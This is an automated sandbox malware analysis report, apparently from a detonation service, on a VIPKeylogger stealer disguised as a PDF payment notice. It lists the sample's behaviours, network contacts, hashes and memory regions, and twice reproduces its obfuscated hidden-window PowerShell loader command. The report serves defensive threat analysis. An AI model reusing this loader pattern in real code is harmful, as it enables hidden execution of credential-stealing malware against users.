Malware Analysis Report

2024-11-15 07:56

Sample ID 241002-qq7tgsybnq
Target Settlement_Payment_Advise_pdf.exe
SHA256 d7b641d0151a05ea88a81ce63ba1f8dec700c584203b3978daa4e143af7bfac4
Tags
discovery execution vipkeylogger collection keylogger stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d7b641d0151a05ea88a81ce63ba1f8dec700c584203b3978daa4e143af7bfac4

Threat Level: Known bad

The file Settlement_Payment_Advise_pdf.exe was found to be: Known bad.

Malicious Activity Summary

discovery execution vipkeylogger collection keylogger stealer

VIPKeylogger

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Legitimate hosting services abused for malware hosting/C2

Accesses Microsoft Outlook profiles

Looks up external IP address via web service

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Windows directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Browser Information Discovery

NSIS installer

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

outlook_win_path

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: MapViewOfSection

outlook_office_path

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-02 13:29

Signatures

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-02 13:29

Reported

2024-10-02 13:31

Platform

win7-20240903-en

Max time kernel

117s

Max time network

118s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Brackishness.Ops C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Tilluk=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp';$Accustomedness=$Tilluk.SubString(78627,3);.$Accustomedness($Tilluk)"

Network

N/A

Files

memory/2236-11-0x0000000073761000-0x0000000073762000-memory.dmp

memory/2236-12-0x0000000073760000-0x0000000073D0B000-memory.dmp

memory/2236-13-0x0000000073760000-0x0000000073D0B000-memory.dmp

memory/2236-14-0x0000000073760000-0x0000000073D0B000-memory.dmp

memory/2236-15-0x0000000073760000-0x0000000073D0B000-memory.dmp

memory/2236-16-0x0000000073760000-0x0000000073D0B000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-02 13:29

Reported

2024-10-02 13:31

Platform

win10v2004-20240802-en

Max time kernel

146s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"

Signatures

VIPKeylogger

stealer keylogger vipkeylogger

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\msiexec.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\msiexec.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\msiexec.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.dyndns.org N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\msiexec.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Brackishness.Ops C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\msiexec.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\msiexec.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\SysWOW64\msiexec.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe

"C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Tilluk=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp';$Accustomedness=$Tilluk.SubString(78627,3);.$Accustomedness($Tilluk)"

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\syswow64\msiexec.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 216.58.212.206:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 172.217.169.67:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 172.217.169.67:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.180.1:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 206.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 1.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 checkip.dyndns.org udp
US 158.101.44.242:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 172.67.177.134:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 242.44.101.158.in-addr.arpa udp
US 8.8.8.8:53 134.177.67.172.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
NL 52.111.243.31:443 tcp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/3840-9-0x0000000073C5E000-0x0000000073C5F000-memory.dmp

memory/3840-10-0x0000000002F90000-0x0000000002FC6000-memory.dmp

memory/3840-11-0x00000000057E0000-0x0000000005E08000-memory.dmp

memory/3840-12-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-13-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-14-0x00000000055C0000-0x00000000055E2000-memory.dmp

memory/3840-15-0x0000000005760000-0x00000000057C6000-memory.dmp

memory/3840-16-0x0000000005F10000-0x0000000005F76000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcq1yv2l.ho1.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3840-26-0x0000000005F80000-0x00000000062D4000-memory.dmp

memory/3840-27-0x0000000006630000-0x000000000664E000-memory.dmp

memory/3840-28-0x0000000006650000-0x000000000669C000-memory.dmp

memory/3840-29-0x00000000075F0000-0x0000000007686000-memory.dmp

memory/3840-30-0x0000000006B00000-0x0000000006B1A000-memory.dmp

memory/3840-31-0x0000000006B70000-0x0000000006B92000-memory.dmp

memory/3840-32-0x0000000007E70000-0x0000000008414000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp

MD5 b3e22fcf654587946cbb858f6587c0d4
SHA1 6c07411640ad7d6ff1928ff84864b43b84bdcd91
SHA256 072cbb8dd2d9776d1f0930cc39d2cca7821c50d9464912a1144e6747d9c20964
SHA512 cd5577751bdc4137d9d3bdfbee6dc6590e6f8c7e33a6610889316b57ae8d42ccd6c92d935955e427202dbf58b6f36a40b72d5ca513d317f9c8ef3113b9082021

memory/3840-34-0x0000000008AA0000-0x000000000911A000-memory.dmp

memory/3840-37-0x00000000700E0000-0x000000007012C000-memory.dmp

memory/3840-36-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-35-0x0000000007A50000-0x0000000007A82000-memory.dmp

memory/3840-38-0x0000000070840000-0x0000000070B94000-memory.dmp

memory/3840-48-0x0000000007A90000-0x0000000007AAE000-memory.dmp

memory/3840-49-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-50-0x0000000007AC0000-0x0000000007B63000-memory.dmp

memory/3840-51-0x0000000007BC0000-0x0000000007BCA000-memory.dmp

memory/3840-52-0x0000000007D40000-0x0000000007D6A000-memory.dmp

memory/3840-53-0x0000000007D70000-0x0000000007D94000-memory.dmp

memory/3840-54-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-56-0x0000000073C50000-0x0000000074400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\strigsrejsen.Gib

MD5 fc1b8508adc7dfc8fab6a4ffa3e10764
SHA1 030e2952c376452b60eed4ab6bc891677614b5c3
SHA256 da015f66da0983444fea0e2079dc9a7cdd31f5f609832051cbc21648df41dbf0
SHA512 57a7009c1636549015c1954083b133adfb97fcae78392b915b1587e56b53895028b42cafb56f33956decec466026d7b638adf2d443a1dac84b082775fa67c3d6

memory/3840-59-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-58-0x0000000073C5E000-0x0000000073C5F000-memory.dmp

memory/3840-60-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-62-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-61-0x0000000009120000-0x000000000A666000-memory.dmp

memory/3840-63-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-64-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-65-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3840-66-0x0000000073C50000-0x0000000074400000-memory.dmp

memory/3820-67-0x0000000002070000-0x00000000035B6000-memory.dmp

memory/3820-80-0x0000000000E10000-0x0000000002064000-memory.dmp

memory/3820-81-0x0000000000E10000-0x0000000000E5A000-memory.dmp

memory/3820-82-0x00000000215B0000-0x000000002164C000-memory.dmp

memory/3820-84-0x0000000002070000-0x00000000035B6000-memory.dmp

memory/3820-85-0x0000000022240000-0x0000000022402000-memory.dmp

memory/3820-86-0x00000000219E0000-0x0000000021A30000-memory.dmp

memory/3820-88-0x0000000022110000-0x00000000221A2000-memory.dmp

memory/3820-89-0x0000000021AB0000-0x0000000021ABA000-memory.dmp